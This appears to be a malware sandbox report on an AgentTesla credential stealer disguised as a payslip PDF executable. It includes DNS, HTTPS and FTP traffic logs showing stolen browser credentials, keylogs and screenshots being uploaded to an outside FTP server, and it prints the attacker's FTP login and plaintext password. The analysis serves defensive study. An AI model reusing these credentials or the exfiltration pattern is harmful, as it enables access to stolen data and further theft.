Nov 4, 2024 03:22:04.207464933 CET	50025	52797	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:04.207470894 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:04.212383032 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:05.105478048 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:05.146595001 CET	50019	21	192.168.2.4	110.4.45.197

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 03:17:59.577934027 CET	55151	53	192.168.2.4	1.1.1.1
Nov 4, 2024 03:17:59.584616899 CET	53	55151	1.1.1.1	192.168.2.4
Nov 4, 2024 03:18:00.964710951 CET	64589	53	192.168.2.4	1.1.1.1
Nov 4, 2024 03:18:01.218698978 CET	53	64589	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 4, 2024 03:17:59.577934027 CET	192.168.2.4	1.1.1.1	0x31ab	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 4, 2024 03:18:00.964710951 CET	192.168.2.4	1.1.1.1	0xdfa	Standard query (0)	ftp.haliza.com.my	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 4, 2024 03:17:59.584616899 CET	1.1.1.1	192.168.2.4	0x31ab	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Nov 4, 2024 03:17:59.584616899 CET	1.1.1.1	192.168.2.4	0x31ab	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 4, 2024 03:17:59.584616899 CET	1.1.1.1	192.168.2.4	0x31ab	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 4, 2024 03:18:01.218698978 CET	1.1.1.1	192.168.2.4	0xdfa	No error (0)	ftp.haliza.com.my	110.4.45.197	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.26.13.205	443	7040	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 02:18:00 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-11-04 02:18:00 UTC	399	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 02:18:00 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8dd11c6819342c8e-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1671&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=769&delivery_rate=1643586&cwnd=250&unsent_bytes=0&cid=4d11cbf3ea473a5c&ts=249&x=0"
2024-11-04 02:18:00 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 Data Ascii: 173.254.250.69

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 4, 2024 03:18:02.203669071 CET	21	49732	110.4.45.197	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:18. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:18. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:18. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:18. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Nov 4, 2024 03:18:02.203891993 CET	49732	21	192.168.2.4	110.4.45.197	USER origin@haliza.com.my
Nov 4, 2024 03:18:02.557557106 CET	21	49732	110.4.45.197	192.168.2.4	331 User origin@haliza.com.my OK. Password required
Nov 4, 2024 03:18:02.557878971 CET	49732	21	192.168.2.4	110.4.45.197	PASS JesusChrist007$
Nov 4, 2024 03:18:02.939085007 CET	21	49732	110.4.45.197	192.168.2.4	230 OK. Current restricted directory is /
Nov 4, 2024 03:18:03.337795019 CET	21	49732	110.4.45.197	192.168.2.4	504 Unknown command
Nov 4, 2024 03:18:03.337917089 CET	49732	21	192.168.2.4	110.4.45.197	PWD
Nov 4, 2024 03:18:03.722757101 CET	21	49732	110.4.45.197	192.168.2.4	257 "/" is your current location
Nov 4, 2024 03:18:03.723078012 CET	49732	21	192.168.2.4	110.4.45.197	TYPE I
Nov 4, 2024 03:18:04.080812931 CET	21	49732	110.4.45.197	192.168.2.4	200 TYPE is now 8-bit binary
Nov 4, 2024 03:18:04.081072092 CET	49732	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:18:04.431231976 CET	21	49732	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,220,214)
Nov 4, 2024 03:18:04.436899900 CET	49732	21	192.168.2.4	110.4.45.197	STOR CO_Chrome_Default.txt_user-284992_2024_11_03_21_37_59.txt
Nov 4, 2024 03:18:05.361030102 CET	21	49732	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:18:05.717036009 CET	21	49732	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.354 seconds (measured here), 9.26 Kbytes per second
Nov 4, 2024 03:18:05.722774982 CET	49732	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:18:06.079663992 CET	21	49732	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,213,29)
Nov 4, 2024 03:18:06.084985018 CET	49732	21	192.168.2.4	110.4.45.197	STOR CO_Firefox_fqs92o4p.default-release.txt_user-284992_2024_11_04_04_06_27.txt
Nov 4, 2024 03:18:07.020698071 CET	21	49732	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:18:07.376019001 CET	21	49732	110.4.45.197	192.168.2.4	226 File successfully transferred
Nov 4, 2024 03:18:07.871440887 CET	21	49732	110.4.45.197	192.168.2.4	226 File successfully transferred
Nov 4, 2024 03:19:31.010993958 CET	49732	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:19:31.363089085 CET	21	49732	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,249,10)
Nov 4, 2024 03:19:31.368664026 CET	49732	21	192.168.2.4	110.4.45.197	STOR KL_user-284992_2024_11_18_00_38_35.html
Nov 4, 2024 03:19:32.292582989 CET	21	49732	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:19:32.649429083 CET	21	49732	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.358 seconds (measured here), 0.77 Kbytes per second
Nov 4, 2024 03:19:50.325206995 CET	49732	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:19:50.676502943 CET	21	49732	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,218,24)
Nov 4, 2024 03:19:50.692176104 CET	49732	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2024_11_28_11_14_06.jpeg
Nov 4, 2024 03:19:51.607835054 CET	21	49732	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:19:52.381726027 CET	21	49732	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.777 seconds (measured here), 83.22 Kbytes per second
Nov 4, 2024 03:20:05.104641914 CET	49732	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:20:05.454700947 CET	21	49732	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,209,34)
Nov 4, 2024 03:20:05.462002039 CET	49732	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2024_12_07_00_46_00.jpeg
Nov 4, 2024 03:20:06.400257111 CET	21	49732	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:20:07.221715927 CET	21	49732	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.814 seconds (measured here), 79.47 Kbytes per second
Nov 4, 2024 03:20:08.122735977 CET	21	50012	110.4.45.197	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 10:20. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 10:20. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 10:20. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 10:20. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Nov 4, 2024 03:20:08.122956991 CET	50012	21	192.168.2.4	110.4.45.197	USER origin@haliza.com.my
Nov 4, 2024 03:20:08.462013006 CET	21	50012	110.4.45.197	192.168.2.4	331 User origin@haliza.com.my OK. Password required
Nov 4, 2024 03:20:08.462174892 CET	50012	21	192.168.2.4	110.4.45.197	PASS JesusChrist007$
Nov 4, 2024 03:20:08.829900980 CET	21	50012	110.4.45.197	192.168.2.4	230 OK. Current restricted directory is /
Nov 4, 2024 03:20:09.202497005 CET	21	50012	110.4.45.197	192.168.2.4	504 Unknown command
Nov 4, 2024 03:20:09.202651024 CET	50012	21	192.168.2.4	110.4.45.197	PWD
Nov 4, 2024 03:20:09.584986925 CET	21	50012	110.4.45.197	192.168.2.4	257 "/" is your current location
Nov 4, 2024 03:20:09.585174084 CET	50012	21	192.168.2.4	110.4.45.197	TYPE I
Nov 4, 2024 03:20:09.924295902 CET	21	50012	110.4.45.197	192.168.2.4	200 TYPE is now 8-bit binary
Nov 4, 2024 03:20:09.924458027 CET	50012	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:20:11.145114899 CET	21	50012	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,236,164)
Nov 4, 2024 03:20:11.145190954 CET	21	50012	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,236,164)
Nov 4, 2024 03:20:11.145266056 CET	21	50012	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,236,164)
Nov 4, 2024 03:20:11.145389080 CET	21	50012	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,236,164)
Nov 4, 2024 03:20:11.155033112 CET	50012	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2024_12_12_07_23_02.jpeg
Nov 4, 2024 03:20:12.077299118 CET	21	50012	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:20:12.850716114 CET	21	50012	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.774 seconds (measured here), 83.61 Kbytes per second
Nov 4, 2024 03:20:13.023427010 CET	50012	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:20:13.362054110 CET	21	50012	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,213,126)
Nov 4, 2024 03:20:13.369196892 CET	50012	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2024_12_17_02_50_41.jpeg
Nov 4, 2024 03:20:14.312902927 CET	21	50012	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:20:15.127583027 CET	21	50012	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.819 seconds (measured here), 79.01 Kbytes per second
Nov 4, 2024 03:20:31.413693905 CET	50012	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:20:31.765892029 CET	21	50012	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,246,112)
Nov 4, 2024 03:20:31.794251919 CET	50012	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2024_12_27_04_57_19.jpeg
Nov 4, 2024 03:20:32.703986883 CET	21	50012	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:20:33.504400015 CET	21	50012	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.800 seconds (measured here), 86.89 Kbytes per second
Nov 4, 2024 03:20:34.089971066 CET	50012	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:20:34.428487062 CET	21	50012	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,218,242)
Nov 4, 2024 03:20:34.434381962 CET	50012	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2024_12_30_15_12_21.jpeg
Nov 4, 2024 03:20:35.348653078 CET	21	50012	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:20:36.141731977 CET	21	50012	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.790 seconds (measured here), 81.83 Kbytes per second
Nov 4, 2024 03:20:41.856981039 CET	50012	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:20:42.196470022 CET	21	50012	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,238,77)
Nov 4, 2024 03:20:42.202080965 CET	50012	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2025_01_05_03_08_46.jpeg
Nov 4, 2024 03:20:43.125343084 CET	21	50012	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:20:43.943413019 CET	21	50012	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.819 seconds (measured here), 79.01 Kbytes per second
Nov 4, 2024 03:20:49.651529074 CET	50012	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:20:49.993482113 CET	21	50012	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,196,243)
Nov 4, 2024 03:20:49.999036074 CET	50012	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2025_01_10_12_43_10.jpeg
Nov 4, 2024 03:20:50.922800064 CET	21	50012	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:20:51.175448895 CET	21	50019	110.4.45.197	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 10:20. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 10:20. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 10:20. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 10:20. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Nov 4, 2024 03:20:51.175669909 CET	50019	21	192.168.2.4	110.4.45.197	USER origin@haliza.com.my
Nov 4, 2024 03:20:51.514296055 CET	21	50019	110.4.45.197	192.168.2.4	331 User origin@haliza.com.my OK. Password required
Nov 4, 2024 03:20:51.514481068 CET	50019	21	192.168.2.4	110.4.45.197	PASS JesusChrist007$
Nov 4, 2024 03:20:51.717180967 CET	21	50012	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.794 seconds (measured here), 81.44 Kbytes per second
Nov 4, 2024 03:20:51.877754927 CET	21	50019	110.4.45.197	192.168.2.4	230 OK. Current restricted directory is /
Nov 4, 2024 03:20:52.217931986 CET	21	50019	110.4.45.197	192.168.2.4	504 Unknown command
Nov 4, 2024 03:20:52.220360994 CET	50019	21	192.168.2.4	110.4.45.197	PWD
Nov 4, 2024 03:20:52.561513901 CET	21	50019	110.4.45.197	192.168.2.4	257 "/" is your current location
Nov 4, 2024 03:20:52.561686039 CET	50019	21	192.168.2.4	110.4.45.197	TYPE I
Nov 4, 2024 03:20:52.967544079 CET	21	50019	110.4.45.197	192.168.2.4	200 TYPE is now 8-bit binary
Nov 4, 2024 03:20:52.972117901 CET	50019	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:20:53.311351061 CET	21	50019	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,231,48)
Nov 4, 2024 03:20:53.317908049 CET	50019	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2025_01_13_13_32_15.jpeg
Nov 4, 2024 03:20:54.265178919 CET	21	50019	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:20:55.085418940 CET	21	50019	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.831 seconds (measured here), 77.80 Kbytes per second
Nov 4, 2024 03:21:17.715420008 CET	50019	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:21:18.057151079 CET	21	50019	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,222,75)
Nov 4, 2024 03:21:18.072381973 CET	50019	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2025_01_26_22_49_57.jpeg
Nov 4, 2024 03:21:18.992012978 CET	21	50019	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:21:19.801891088 CET	21	50019	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.805 seconds (measured here), 80.35 Kbytes per second
Nov 4, 2024 03:21:35.946674109 CET	50019	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:21:36.285322905 CET	21	50019	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,213,224)
Nov 4, 2024 03:21:36.291294098 CET	50019	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2025_02_10_15_39_19.jpeg
Nov 4, 2024 03:21:37.216579914 CET	21	50019	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:21:38.050102949 CET	21	50019	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.815 seconds (measured here), 79.31 Kbytes per second
Nov 4, 2024 03:21:48.862169027 CET	50019	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:21:49.202369928 CET	21	50019	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,254,89)
Nov 4, 2024 03:21:49.208230019 CET	50019	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2025_02_18_04_38_55.jpeg
Nov 4, 2024 03:21:50.137870073 CET	21	50019	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:21:50.943017960 CET	21	50019	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.805 seconds (measured here), 80.35 Kbytes per second
Nov 4, 2024 03:22:00.788842916 CET	50019	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:22:01.127923012 CET	21	50019	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,243,82)
Nov 4, 2024 03:22:01.133796930 CET	50019	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2025_02_25_14_41_33.jpeg
Nov 4, 2024 03:22:02.045121908 CET	21	50019	110.4.45.197	192.168.2.4	150 Accepted data connection
Nov 4, 2024 03:22:02.865003109 CET	21	50019	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.803 seconds (measured here), 80.52 Kbytes per second
Nov 4, 2024 03:22:03.854902983 CET	50019	21	192.168.2.4	110.4.45.197	PASV
Nov 4, 2024 03:22:04.193427086 CET	21	50019	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,206,61)
Nov 4, 2024 03:22:04.207470894 CET	50019	21	192.168.2.4	110.4.45.197	STOR SC_user-284992_2024_11_03_21_22_02.jpeg
Nov 4, 2024 03:22:05.105478048 CET	21	50019	110.4.45.197	192.168.2.4	150 Accepted data connection

Target ID:	0
Start time:	21:17:56
Start date:	03/11/2024
Path:	C:\Users\user\Desktop\Payslip_October_2024_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Payslip_October_2024_pdf.exe"
Imagebase:	0xca0000
File size:	1'317'888 bytes
MD5 hash:	00D35F16DA780121846AC5345E6FDDD5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AgentTeslaV2, Description: AgenetTesla Type 2 Keylogger payload, Source: 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:17:57
Start date:	03/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Payslip_October_2024_pdf.exe"
Imagebase:	0x8e0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4109255409.0000000002C21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.4109255409.0000000002C21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.4109255409.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4108165874.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.4108165874.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	21:18:10
Start date:	03/11/2024
Path:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Imagebase:	0x950000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:18:10
Start date:	03/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:18:18
Start date:	03/11/2024
Path:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Imagebase:	0x60000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:18:18
Start date:	03/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	8.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	33

Executed Functions

Function 00CA3B4C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00CA3B7A
IsDebuggerPresent.KERNEL32 ref: 00CA3B8C
GetFullPathNameW.KERNEL32(00007FFF,?,?,00D662F8,00D662E0,?,?), ref: 00CA3BFD

Part of subcall function 00CA7D2C: _memmove.LIBCMT ref: 00CA7D66

Part of subcall function 00CB0A8D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00CA3C26,00D662F8,?,?,?), ref: 00CB0ACE

SetCurrentDirectoryW.KERNEL32(?), ref: 00CA3C81
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00D593F0,00000010), ref: 00CDD4BC
SetCurrentDirectoryW.KERNEL32(?,00D662F8,?,?,?), ref: 00CDD4F4
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00D55D40,00D662F8,?,?,?), ref: 00CDD57A
ShellExecuteW.SHELL32(00000000,?,?), ref: 00CDD581

Part of subcall function 00CA3A58: GetSysColorBrush.USER32(0000000F), ref: 00CA3A62
Part of subcall function 00CA3A58: LoadCursorW.USER32(00000000,00007F00), ref: 00CA3A71
Part of subcall function 00CA3A58: LoadIconW.USER32(00000063), ref: 00CA3A88
Part of subcall function 00CA3A58: LoadIconW.USER32(000000A4), ref: 00CA3A9A
Part of subcall function 00CA3A58: LoadIconW.USER32(000000A2), ref: 00CA3AAC
Part of subcall function 00CA3A58: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00CA3AD2
Part of subcall function 00CA3A58: RegisterClassExW.USER32(?), ref: 00CA3B28

Part of subcall function 00CA39E7: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00CA3A15
Part of subcall function 00CA39E7: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00CA3A36
Part of subcall function 00CA39E7: ShowWindow.USER32(00000000,?,?), ref: 00CA3A4A
Part of subcall function 00CA39E7: ShowWindow.USER32(00000000,?,?), ref: 00CA3A53

Part of subcall function 00CA43DB: _memset.LIBCMT ref: 00CA4401
Part of subcall function 00CA43DB: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00CA44A6

Strings

runas, xrefs: 00CDD575
This is a third-party compiled AutoIt script., xrefs: 00CDD4B4

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 529118366-3287110873
Opcode ID: edb7c158ee68110b051ee1ca628e450280f1ed8be4791f5b33ffa8b3c01c26f5
Instruction ID: 1e0efc5f88ddd3224bbca88269d9762a61527298efff4a76d1b240997b5661c0
Opcode Fuzzy Hash: edb7c158ee68110b051ee1ca628e450280f1ed8be4791f5b33ffa8b3c01c26f5
Instruction Fuzzy Hash: D351E731D0438AAFCF11EBB4DC25DED7B74AB1A718B004265F811E23A1DA748B06DB35

Function 00CA4AFE Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

